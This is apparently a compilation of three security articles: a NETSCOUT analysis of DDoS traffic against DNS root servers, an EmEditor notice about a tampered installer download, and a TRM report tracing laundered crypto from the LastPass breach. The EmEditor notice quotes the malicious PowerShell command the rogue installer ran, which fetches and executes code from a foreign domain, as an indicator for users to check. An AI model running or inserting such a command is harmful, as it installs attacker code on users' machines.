| NETSCOUT netscout.com
by
John Kristoff, Max Resing
on
December 17th, 2025
Executive SummaryThe internet is a system of systems. There is no central organizing committee that governs how it is constructed and operated.
Executive Summary
The internet is a system of systems. There is no central organizing committee that governs how it is constructed and operated. There are norms and best practices, as well as agreed-upon standards of operation such as what an Internet Protocol (IP) datagram looks like and how it should be interpreted, but even the behaviors of creating and interpreting IP packets can sometimes vary. For these reasons, to identify the core of the internet, and enforce lasting and comprehensive control over it, is not easy. However, there are a handful of internet subsystems people often name as being critical to the proper and safe functioning of the internet. One such subsystem is the Domain Name System (DNS) root servers. Internet disruptions can take many forms, but if the root DNS system were to become unavailable, it would be practically indiscernible from a complete and total internet outage. In practice, the system’s resiliency and caching behavior of resolvers significantly blunts the likelihood of a complete system failure. Nevertheless, the performance and accuracy of this subsystem is of utmost importance.
The root DNS system has come under attack many times throughout history, and in some cases, we have seen some partial disruption. Overall, however, the DNS root server system has remained robust and widely available. Replication and redundancy of root system component parts, along with high levels of operational care, have largely led to the success of the root server system. However, the root system is always under pressure from high-rate packet floods, route hijacking, and physical sabotage. This blog examines some of these pressures from the perspective of distributed denial-of-service (DDoS) attack traffic to which the root server system is subject.
Key Findings
Background
Most internet client communications start with a DNS query. An application maps an abstract but human-readable name into something about that name such as an IP address. This process is colloquially called the DNS resolution process, and the DNS root servers literally and figuratively stand at the apex of this hierarchical system. They are the entry point into a distributed database that makes mapping names to IP addresses possible. Technically, the internet could operate without DNS, but in practice it has become an important part of the communications process. It is safe to say that the DNS is one of the most important—if not the most important—subsystem of them all. The performance and availability of this system therefore is paramount.
DNS servers come under attack all the time, some more than others. An attack involving the DNS is typically one of two types. The first major type’s purpose is to compromise the integrity of DNS data. This might be performed by altering the source of DNS data itself—by compromising a server and changing zone files, for example. Alternatively, an attacker may try to manipulate a resolution in flight. DNS cache poison attacks are a common vector of attack against the resolution process, for instance.
The second type of attack attempts to disrupt the DNS resolution process by taking an authoritative DNS server in the name space hierarchy out of service. This is a classic denial-of-service attack. The nearer the apex of the name space or for highly impactful zones, a disruption can have far-reaching effects. If the root servers were to be disrupted, for example, this would ultimately cause problems for practically everyone and everything that uses the DNS.
Fortunately, the DNS root server system has rarely been the target of successful integrity or disruption attacks. That is not to say the DNS root system has not been attacked; this Wikipedia page lists a few high-profile attacks DNS root servers have been subject to.
The root server system is extremely well provisioned and operated. There are 12 root server operators and hundreds of root servers located all over the world. Primarily through the use of BGP anycast, the modern root server system is extraordinarily resilient to denial-of-service packet flooding attacks. However, attack attempts still seem to appear from time to time. In the remainder of this article, we examine some of the attacks the root system is subject to, and with the help of third-party data show how well the system has withstood these onslaughts.
Motivations for DDoS Attacks on DNS Root Servers
The root servers have been subject to a variety of threats, with some degree of success. Due to the extensive redundancy and capacity of the current system, however, disrupting the system with packet flooding?–style attacks is not easy. Furthermore, most modern attacks aim to disrupt a specific subset of service on the internet, not the entire internet itself. Although some attackers may seek to cause general mischief or to exert a show of strength, a degraded root server system would just make everything worse for everyone. This is rarely the objective of today’s internet miscreants. In addition, internet defenders everywhere leap into action the larger and more widespread attacks become. An attack against the root system is not just an attack against the 12 root operators and their systems, but against the entire internet, much of which will respond to thwart attempts to disrupt the system.
So, although attacks on the DNS root occur, most of them are rarely noticed by the public or do not have a significant impact. Nonetheless, we do observe elevated rates of traffic toward the root—traffic that might even overwhelm many other organizations and networks. Attacks against the root may be trying to learn incident response time and defenses. They might also be observing the effect attacks have on public monitoring graphs of performance or response latency—if not for the root specifically, perhaps even local and in-transit networks. The root system, being so central to the internet, is exposed to a lot of suspicious and malicious traffic. Much of this otherwise-unwanted traffic may be simply noise, but whatever the reasons, it is often helpful to study what the root sees, because it just may be a harbinger of what any target on the internet might be up against. What can we learn from analyzing attacks on the root? We explore this question in the next section.
Analysis
NETSCOUT’s ATLAS visibility platform provides a tremendous amount of telemetry for DDoS attack events. Figure 1 presents a chronological overview of DDoS events aimed at the root servers. The strongest volumetric attack present in the ATLAS dataset shows an attack on the A root server with 21Gb/s of traffic on August 17, 2025.
Figure 1: Chronological overview of DDoS attack events on DNS root servers as visible in ATLAS threat intelligence datasets. Illustrated are a total of 38 data points. (The dataset observes no attacks on g.root-servers.net.)
Figure 1: Chronological overview of DDoS attack events on DNS root servers as visible in ATLAS threat intelligence datasets. Illustrated are a total of 38 data points. (The dataset observes no attacks on g.root-servers.net.)
ASERT observes a different set of DDoS attack vectors to different root servers. The A root and the M root face numerous DDoS attack vectors. In contrast, D and H–L root servers are only observed to have seen the combinations of total traffic and Internet Control Message Protocol (ICMP) attacks. Often, the ICMP observations are sympathetic to a DDoS attack, meaning that attackers and/or defenders probe systems to gain insights. In theory, each instance (A through M) of the root should be a mirror of the others.
Why might some root server instances be subject to vastly different amounts of traffic? A variety of reasons could explain this discrepancy. For example, some instances may be preferred by resolvers due to historical accident, topological connectivity, or resolver selection strategy. An interesting speculation of why the A root receives more attacks is because it is the first letter of the alphabet—a dull but probable reason. Root operators deploy different numbers of anycast instances, and those instances are distributed unevenly around the world. Because BGP anycast directs queries to the topologically closest anycast instance, some root instances may naturally attract more traffic, including more noise and invalid queries (see Figure 2).
Figure 2: This percentage overview presents the DDoS attack events observed and reveals how some root servers receive a wider array of DDoS attack vectors.
Figure 2: This percentage overview presents the DDoS attack events observed and reveals how some root servers receive a wider array of DDoS attack vectors.
Discussion
The numerous instances of root servers make it particularly cumbersome to construct a full picture of traffic that reaches the root servers. Although anycast impacts the visibility of external institutions into operational aspects of root server instances, it enhances the resiliency of a DNS root server formidably—a much-desired characteristic for such a critical building block of the internet. The distribution of traffic to different instances provides the advantage of spreading queries out but also isolating sources of DDoS attack traffic to local instances.
Studies over the years have measured significant amounts of query traffic to root servers that are illegitimate. [Wessel, ISOC]. Despite the massive overrepresentation of noise to useful query traffic, the steady state of DNS root traffic volumes remains relatively modest compared with other types of services, usually measured in the tens of megabits per second. This is due to the nature of DNS query traffic itself: small, short-lived request/response packets. Long-lived, large data flows don’t occur in the DNS. Furthermore, although the use of DNS over Transmission Control Protocol (TCP) is slightly increasing, TCP-based attacks are still relatively rare and infrequent in the DNS.
What lessons can we learn from the resiliency of the DNS root server system? Simplicity, instance placement distribution, operational diversity, the use of anycast, and of course expert technical operators overseeing it all. These attributes may not be easily replicated in other parts of the internet, but perhaps we can leverage some of what works where it can work in other systems?
Recommendations
Defenders can take lessons from DNS root server operations. In some cases, their techniques are engineering choices, not commercial purchasing decisions. For example, can anycast be used to help make the attack surface wider and less reliant on single points of failure? To detect and mitigate abusive, ever-changing networks of varying size and duration, we recommend the following:
Real-time visibility into volumetric traffic floods and distributed attack patterns. Tools such as NETSCOUT Arbor Sightline can help surface early signs of trouble and trigger flow-specification and remotely triggered black hole (RTBH) defenses to upstream providers.
Proactive mitigation with automated systems such as Arbor Threat Mitigation System (TMS) or Arbor Edge Defense (AED). These can stop both volumetric floods and more-complex, multivector attacks.
Intelligence-driven defense with feeds such as NETSCOUT’s ATLAS Intelligence Feed (AIF). These provide information about context, what’s trending, who’s being targeted, and how actors are evolving.
Staying ahead of threat actors is an ever-changing job and requires a broad view of where these attacks come from, how they operate, and where they could strike next.
EmEditor (Text Editor) emeditor.com
December 22, 2025/in General/by Yutaka Emura
We regret to inform you that we have identified an incident involving the EmEditor official website’s download path (the [Download Now] button), where unauthorized modification by a third party is suspected. During the affected period, the installer downloaded via that button may not have been the legitimate file provided by us (Emurasoft, Inc.).
We sincerely apologize for the concern and inconvenience this may cause. Please review the information below.
Potentially Affected Period
Dec 19, 2025 18:39 – Dec 22, 2025 12:50 (U.S. Pacific Time)
If you downloaded the installer from the [Download Now] button on the EmEditor homepage during this period, it is possible that a different file without our digital signature was downloaded. This is a conservative estimate, and in reality the affected period may have been narrower and limited to a specific timeframe.
Incident Summary (High-Level Cause)
The [Download Now] button normally points to the following URL:
https://support.emeditor.com/en/downloads/latest/installer/64
This URL uses a redirect. However, during the affected period, the redirect settings appear to have been altered by a third party, resulting in downloads being served from the following (incorrect) URL:
https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi
This file was not created by Emurasoft, Inc., and it has already been removed.
As a result, we have confirmed that the downloaded file may be digitally signed not by us, but by another organization named WALSHAM INVESTMENTS LIMITED.
Note: This issue may not be limited to the English page and may affect similar URLs for other languages as well (including Japanese).
emed64_25.4.3.msi
Legitimate file (official)
File name: emed64_25.4.3.msi
Size: 80,376,832 bytes
Digital signature: Emurasoft, Inc.
SHA-256: e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e
Suspicious file (possible tampering)
File name: emed64_25.4.3.msi
Size: 80,380,416 bytes
Digital signature: WALSHAM INVESTMENTS LIMITED
You updated via EmEditor’s Update Checker or through EmEditor’s automatic update
You downloaded directly from download.emeditor.info
Example: https://download.emeditor.info/emed64_25.4.3.msi
You downloaded a file other than emed64_25.4.3.msi
You used the portable version
You used the store app version
You installed/updated using winget
You downloaded the file but did not run/execute it
5-1. How to check the Digital Signature (Windows)
Right-click the file (emed64_25.4.3.msi) and select Properties.
Open the Digital Signatures tab.
Confirm that the signer is Emurasoft, Inc.
If it shows WALSHAM INVESTMENTS LIMITED, the file may be malicious.
If the “Digital Signatures” tab is not shown, the file may be unsigned or the signature may not be recognized. In that case, do not run the file; delete it and follow the guidance below.
5-2. How to check SHA-256 (Windows / PowerShell)
Open PowerShell and run:
Get-FileHash .\emed64_25.4.3.msi -Algorithm SHA256
Confirm the output SHA-256 matches:
Legitimate SHA-256:
e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e
If the signature or SHA-256 does not match (Recommended actions)
If the digital signature is not Emurasoft, Inc. (e.g., it is WALSHAM INVESTMENTS LIMITED) or the SHA-256 does not match, you may have obtained a tampered file (potentially containing malware).
Immediately disconnect the affected computer from the network (wired/wireless)
Run a full malware scan on the system
Depending on the situation, consider refreshing/rebuilding the environment including the OS
Consider the possibility of credential exposure and change passwords used/stored on that device (and enable MFA where possible)
If you are using EmEditor in an organization, we also recommend contacting your internal security team (e.g., CSIRT) and preserving relevant logs where possible.
powershell.exe "irm emeditorjp.com | iex"
This command downloads and executes content from emeditorjp.com.
emeditorjp.com is not a domain managed by Emurasoft, Inc.
Please also note that the installer may still proceed to install EmEditor normally and install legitimate EmEditor program files, which could make the issue difficult to notice.
We sincerely apologize again for the inconvenience and concern this may have caused, and we appreciate your understanding and continued support of EmEditor.
trmlabs.com Team | TRM Blog
TRM traced LastPass-linked Bitcoin laundering through mixers to high-risk Russian exchanges, showing how demixing exposes infrastructure reuse and limits mixer anonymity.
Key takeaways
In 2022, hackers breached LastPass, one of the world’s most widely used password managers, exposing backups of roughly 30 million customer vaults — encrypted containers holding users’ most sensitive digital credentials, including crypto private keys and seed phrases. * Although the vaults were encrypted and initially unreadable without each user’s master passwords, attackers were able to download them in bulk. That created a long-tail risk for more than 25 million users globally: any vault protected by a weak master password could eventually be decrypted offline, turning a single 2022 intrusion into a multi-year window for attackers to quietly crack passwords and drain assets over time.
New waves of wallet drains have surfaced throughout 2024 and 2025, extending the breach’s impact far beyond its initial disclosure. By analyzing a recent cluster of these drains, TRM analysts were able to trace the stolen funds through mixers and ultimately to two high-risk Russian exchanges frequently used by cybercriminals as fiat off-ramps — with one of them receiving LastPass-linked funds as recently as October.
These findings offer a clear on-chain view of how the stolen assets are being moved and monetized, helping illuminate the pathways and infrastructure supporting one of the most consequential credential breaches of the last decade. Based on the totality of on-chain evidence — including repeated interaction with Russia-associated infrastructure, continuity of control across pre-and post-mix activity, and the consistent use of high-risk Russian exchanges as off-ramps — TRM assesses that the activity is consistent with involvement by Russian cybercriminal actors.
Analysis of these thefts reveals two consistent indicators that point toward possible Russian cybercrime involvement.
First, stolen funds were repeatedly laundered through infrastructure commonly associated with Russian cybercriminal ecosystems, including off-ramps historically used by Russia-based threat actors.
Second, intelligence linked to the wallets interacting with mixers both before and after the mixing and laundering process indicated operational ties to Russia, suggesting continuity of control rather than downstream reuse by unrelated actors.
While definitive attribution of the original intrusion cannot yet be confirmed, these signals, combined with TRM’s ability to demix activity at scale, highlight both the central role of Russian cybercrime infrastructure in monetizing large-scale hacks and the diminishing effectiveness of mixing as a reliable means of obfuscation.
What demixing revealed
TRM identified a consistent on-chain signature across the thefts: stolen Bitcoin keys were imported into the same wallet software, producing shared transaction traits such as SegWit usage and Replace-by-Fee. Non-Bitcoin assets were quickly converted into Bitcoin via instant swap services, after which funds were transferred into single-use addresses and deposited into Wasabi Wallet. Using this pattern, TRM estimates that more than USD 28 million in cryptocurrency was stolen, converted to Bitcoin, and laundered through Wasabi in late 2024 and early 2025.
Rather than attempting to demix individual thefts in isolation, TRM analysts analyzed the activity as a coordinated campaign, identifying clusters of Wasabi deposits and withdrawals over time. Using proprietary demixing techniques, analysts matched the hackers’ deposits to a specific withdrawal cluster whose aggregate value and timing closely aligned with the inflows, an alignment statistically unlikely to be coincidental.
Blockchain fingerprints observed prior to mixing, combined with intelligence associated with wallets after the mixing process, consistently pointed to Russia-based operational control. The continuity across pre-mix and post-mix stages strengthens confidence that the laundering activity was conducted by actors operating within, or closely tied to, the Russian cybercrime ecosystem.
Early Wasabi withdrawals occurred within days of the initial wallet drains, suggesting that the attackers themselves were responsible for the initial CoinJoin activity. Taken together, these findings demonstrate both the diminishing reliability of mixing as an obfuscation technique and the central role of demixing in revealing the structure and geography of large-scale illicit campaigns.
Russian off-ramps as a reinforcing signal
Analysis of LastPass-linked laundering activity reveals two distinct phases that both converged on Russian exchanges. In an earlier phase following the initial exploitation, stolen funds were routed through the now defunct Cryptomixer.io and off-ramped via Cryptex, a Russia-based exchange sanctioned by OFAC in 2024. In a subsequent wave identified in September 2025, TRM analysts traced approximately USD 7 million in additional stolen funds through Wasabi Wallet, with withdrawals ultimately flowing to Audi6, another Russian exchange associated with cybercriminal activity.
Applying the same demixing methodology across both periods, TRM identified consistent laundering patterns, including clustered withdrawals and peeling chains that funneled mixed Bitcoin into these exchanges. The repeated use of Russian exchanges at the off-ramp stage, combined with intelligence indicating Russia-based operational control both before and after mixing, suggests continuity in the laundering infrastructure rather than isolated or opportunistic usage. Together, these findings point to alignment with a persistent Russian cybercriminal ecosystem across multiple phases of the LastPass-related activity.
Why the Russian connection matters
The significance of likely Russian involvement extends beyond this single case. Russian high-risk exchanges and laundering services have repeatedly served as critical off-ramps for globally dispersed ransomware groups, sanctions evaders, and other cybercriminal networks. Their role in the LastPass laundering pipeline underscores how Russia-based financial infrastructure continues to function as a systemic enabler of global cybercrime, even as enforcement pressure increases elsewhere.
This case also highlights how mixers do not eliminate attribution risk when threat actors rely on consistent infrastructure and geographic ecosystems over time. Demixing allowed TRM to move beyond individual transactions and reveal the broader operational architecture, including where illicit value ultimately converges.
Frequently asked questions (FAQs)
What happened in the LastPass breach?
In 2022, a threat actor gained access to encrypted vault data stored by LastPass. As users failed to rotate passwords or improve vault security, attackers continued to crack weak master passwords years later — leading to wallet drains as recently as late 2025.
Why is Russian involvement suspected?
TRM observed two consistent signals:
Pre and post-mix wallet intelligence pointed to the same operator using Russian infrastructure.
Off-ramps included multiple Russia-based exchanges, including one previously sanctioned for facilitating ransomware laundering.
Behavioral patterns (e.g. wallet software traits, transaction formatting)
Timing and amounts
Destination addresses with known ties to illicit ecosystems
This enabled linkage across waves of theft and over time — exposing centralized laundering control.
USD 28 million demixed from 2024–early 2025 flows
USD 7 million from a September 2025 wave linked to additional Wasabi usage
Why is this still happening three years later?
Many affected LastPass users failed to change or secure master passwords, and their vaults still contained private keys. As threat actors brute-force vaults over time, slow-drip wallet draining has become a recurring pattern.
What makes this case important?
This is a clear example of how:
Mixers don't provide true anonymity when infrastructure is reused
Off-ramp infrastructure remains the best attribution signal
Illicit networks adapt, but don’t disappear — when one service is sanctioned, another emerges
